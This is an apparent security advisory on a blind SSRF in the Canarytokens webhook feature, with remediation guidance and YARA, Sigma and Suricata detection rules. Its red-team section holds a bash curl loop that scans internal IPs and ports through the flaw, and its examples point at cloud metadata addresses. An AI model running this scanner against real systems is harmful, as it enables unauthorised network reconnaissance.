CVE-2024-41664

Executive Summary

CVE-2024-41664 is a blind Server-Side Request Forgery (SSRF) vulnerability in Canarytokens, a network deception tool used to detect and track malicious activity. The flaw resides in the Webhook alert feature, where a test request is made to a user-supplied URL without proper validation. This allows an attacker to perform internal port scanning and reconnaissance against the Canarytokens.org infrastructure or any self-hosted instance. The vulnerability is blind because the response content is not returned to the attacker, only an error status. The CVSS score is 5.4 (Medium), and the EPSS probability is 0.0%, indicating low exploitation likelihood in the wild. The vendor has patched the issue in commit sha-8ea5315, and self-hosted users must update their Docker images.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a Docker-based deployment of Canarytokens. The supply chain risk is limited to the integrity of the Docker image used for self-hosted installations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited information disclosure (open ports).
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: Low (A:L) – Potential for limited service disruption via resource exhaustion.

Threat Level: Medium. The blind SSRF allows internal network reconnaissance but does not directly lead to data exfiltration or remote code execution. However, it can be chained with other vulnerabilities to escalate impact.

Deep Dive & Mechanics

The vulnerability exists in the webhook alert creation flow. When a user creates a Canarytoken and selects webhook as the alert method, the application makes a test HTTP request to the provided URL to verify it accepts alerts. The code does not validate the URL against a whitelist of allowed hosts or protocols, allowing an attacker to specify internal IP addresses (e.g., http://169.254.169.254/, http://127.0.0.1:8080/). The response content is not displayed to the user, making it a blind SSRF. However, the attacker can infer open ports based on whether an error is returned (e.g., connection refused vs. timeout vs. success).

Attack Flow:

1. Attacker creates a Canarytoken with a webhook URL pointing to an internal IP and port.
2. The Canarytokens server makes a test request to that URL.
3. If the port is open, the server receives a response (e.g., HTTP 200) and reports no error.
4. If the port is closed, the server reports an error (e.g., connection refused).
5. By iterating over IPs and ports, the attacker maps internal services.

Impact: Internal network reconnaissance, potential access to cloud metadata endpoints (e.g., AWS 169.254.169.254), and identification of vulnerable internal services.

Vulnerable vs. Patched Code

Vulnerable Code (before sha-8ea5315):

# Pseudocode for webhook test request
def test_webhook(url):
    try:
        response = requests.get(url, timeout=5)
        # No validation of URL
        return {"success": True}
    except Exception as e:
        return {"error": str(e)}

Patched Code (after sha-8ea5315):

# Pseudocode for patched webhook test request
import re
from urllib.parse import urlparse

ALLOWED_HOSTS = ["example.com", "webhook.example.com"]  # Whitelist

def test_webhook(url):
    parsed = urlparse(url)
    if parsed.hostname not in ALLOWED_HOSTS:
        return {"error": "URL not allowed"}
    try:
        response = requests.get(url, timeout=5)
        return {"success": True}
    except Exception as e:
        return {"error": str(e)}

The patch introduces a whitelist of allowed hosts for webhook URLs, preventing requests to internal or arbitrary external hosts.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to Canarytokens.org or a self-hosted instance (vulnerable version).
• Ability to create a Canarytoken with a webhook URL.

Exploitation Steps:

1. Create a Canarytoken and set the webhook URL to an internal IP and port, e.g., http://127.0.0.1:8080/.
2. Observe the response: if no error, the port is open; if error, it is closed.
3. Use a script to scan internal IP ranges:

#!/bin/bash
# Blind SSRF port scanner for CVE-2024-41664
for ip in 10.0.0.{1..10}; do
  for port in 80 443 8080 3306; do
    response=$(curl -s -X POST -d "webhook=http://$ip:$port/" https://target.canarytokens.org/create)
    if echo "$response" | grep -q "success"; then
      echo "Open: $ip:$port"
    fi
  done
done

Expected Outcome: Attacker maps internal services (e.g., databases, admin panels) without authentication.

Blue Team (Detection & Defense)

Detection:

• Monitor for Canarytoken creation requests with webhook URLs pointing to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16).
• Alert on repeated test requests to internal IPs from the Canarytokens server.

Defense:

• Apply the patch immediately (update Docker image to sha-097d91a or later).
• Implement network segmentation to limit outbound traffic from the Canarytokens server.
• Use a web application firewall (WAF) to block requests to private IPs in webhook URLs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from Canarytokens server to private IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • Repeated connection attempts to multiple ports on the same internal IP.
• Log IOCs:
  • Canarytokens logs showing webhook test requests to non-standard URLs.
  • Error logs indicating connection refused or timeout for internal IPs.
• File IOCs:
  • Modified Canarytokens configuration files (if attacker gains access).

Detection Engineering

YARA Rule

rule CVE_2024_41664_Blind_SSRF {
    meta:
        description = "Detects Canarytokens webhook URLs pointing to private IPs"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-41664"
    strings:
        $private_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|127\.\d{1,3}\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/
        $webhook_url = /webhook[=:]["']?http/
    condition:
        $private_ip and $webhook_url
}

Sigma Rule

title: Canarytokens Blind SSRF Webhook Creation
id: 7a8b3c4d-5e6f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects creation of Canarytokens with webhook URLs pointing to private IPs
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: canarytokens
detection:
    selection:
        event: "webhook_test"
        url|contains:
            - "10."
            - "172.16."
            - "172.17."
            - "172.18."
            - "172.19."
            - "172.20."
            - "172.21."
            - "172.22."
            - "172.23."
            - "172.24."
            - "172.25."
            - "172.26."
            - "172.27."
            - "172.28."
            - "172.29."
            - "172.30."
            - "172.31."
            - "192.168."
            - "127."
            - "169.254."
    condition: selection
falsepositives:
    - Legitimate internal webhook services (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-41664 Canarytokens Blind SSRF Webhook to Private IP"; flow:to_server; content:"POST"; http_method; content:"/create"; http_uri; content:"webhook"; nocase; pcre:"/webhook[=:][\"']?http:\/\/(10\.|172\.(1[6-9]|2\d|3[01])\.|192\.168\.|127\.|169\.254\.)/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Update self-hosted Canarytokens to the latest Docker image (sha-097d91a or later). For Canarytokens.org, the patch is already applied.
2. Network Controls: Restrict outbound traffic from the Canarytokens server to only allow connections to known webhook endpoints (e.g., Slack, Discord).
3. Monitoring: Enable logging for all webhook test requests and alert on any to private IPs.

Long-Term Mitigations:

• Implement a URL whitelist for webhook endpoints.
• Use a reverse proxy to sanitize outbound requests.
• Conduct regular security audits of self-hosted instances.

Workarounds (if patching is delayed):

• Disable the webhook feature entirely and use email alerts only.
• Manually validate webhook URLs before creation (not recommended as a permanent fix).

Valters IT